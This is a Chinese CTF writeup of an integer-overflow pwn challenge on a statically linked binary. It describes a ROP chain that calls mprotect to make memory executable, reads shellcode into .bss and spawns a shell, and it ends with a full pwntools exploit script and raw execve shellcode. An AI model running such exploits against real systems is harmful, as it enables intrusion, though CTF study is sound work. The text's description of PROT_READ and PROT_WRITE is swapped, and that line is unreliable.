MENU

UNCTF 练习场 整形溢出 intoverflow Writeup

November 5, 2020 • Read: 240 • Pwn

这道题好像算是静态编译的题目,也就是使用到libc里面的函数都被静态的链接到了程序中,但是没有system函数,而且由于没有libc,所以one_gadget也是难以完成。
我这里使用的办法是,先用

int mprotect(const void *start, size_t len, int prot);

来达到修改内存段可读可写可执行目的,这个函数错误的时候返回-1,正确的时候返回0。
在我刚开始使用的时候就一直报错,无法成功的修改,最后发现这个问题在于start传入的地址需要对内存页对齐,常见的也就是0x1000对齐,然后这个len就不用说了,一般申请0x1000就足够了。

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1.PROT_READ(0x1):表示内存段内的内容可写;
2.PROT_WRITE(0x2):表示内存段内的内容可读;
3.PROT_EXEC(0x4):表示内存段中的内容可执行;
4.PROT_NONE(0x0):表示内存段中的内容没有权限。

其对应的值分别如上,所以如果我们需要rwx,那么就是 1 | 2 | 4 = 7,所以我们把prot传入7。
顺便一提:x64传参顺序是,RDI RSI RDX RCX R8 R9,如果这几个还不够就要类似于x86使用堆栈的方法了。
所以在x64中调用函数比x86中稍微复杂一点,需要找到对应的ROP。

ROPgadget --binary intoverflow | grep "pop rdi ; ret"
ROPgadget --binary intoverflow | grep "pop rsi ; ret"
ROPgadget --binary intoverflow | grep "pop rdx ; ret"

可以用这几个命令找到我下面所给出的几个地址。
然后代码中的shellcode好像是目前x64最短的shellcode,效果还不错,没有出锅过。
这道题用shellcode = asm(shellcraft.sh())好像不能成功getshell,原因未知。
然后我看各位博客里都是把shellcode写在bss段中,所以我就跟风一下了,估计是因为写在其他地方怕覆盖掉什么有用的东西吧。

最后附上这道题参考的链接:
静态链接 + mprotect

from pwn import *
from LibcSearcher import *
#r = process('./intoverflow')
elf = ELF('./intoverflow')
r = remote("120.79.17.251", 10012)
r.sendlineafter("> ", str(999999999999999))
#elf.sym['system']
#0x6ca000
pop_rdi_addr = 0x401696
pop_rsi_addr = 0x4017b7
pop_rdx_addr = 0x442e46
mp_addr = 0x6CA000
bss_addr = 0x06CBB60
mprotect_addr = 0x440520
read_addr = 0x43F9D0
payload = 'a' * 0x58 + p64(pop_rdi_addr) + p64(mp_addr) + p64(pop_rsi_addr) + p64(0x2000) + p64(pop_rdx_addr) + p64(7) + p64(mprotect_addr)
payload += p64(pop_rdi_addr) + p64(0)+ p64(pop_rsi_addr) + p64(bss_addr) + p64(pop_rdx_addr) + p64(0x1000) + p64(read_addr) + p64(bss_addr)

#gdb.attach(r)
r.sendlineafter("> ", payload)
sleep(1)
shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
r.send(shellcode)
#stdin_addr = u64(r.recv(3).ljust(8, "\x00"))
r.interactive()
Archives QR Code Tip
QR Code for this page
Tipping QR Code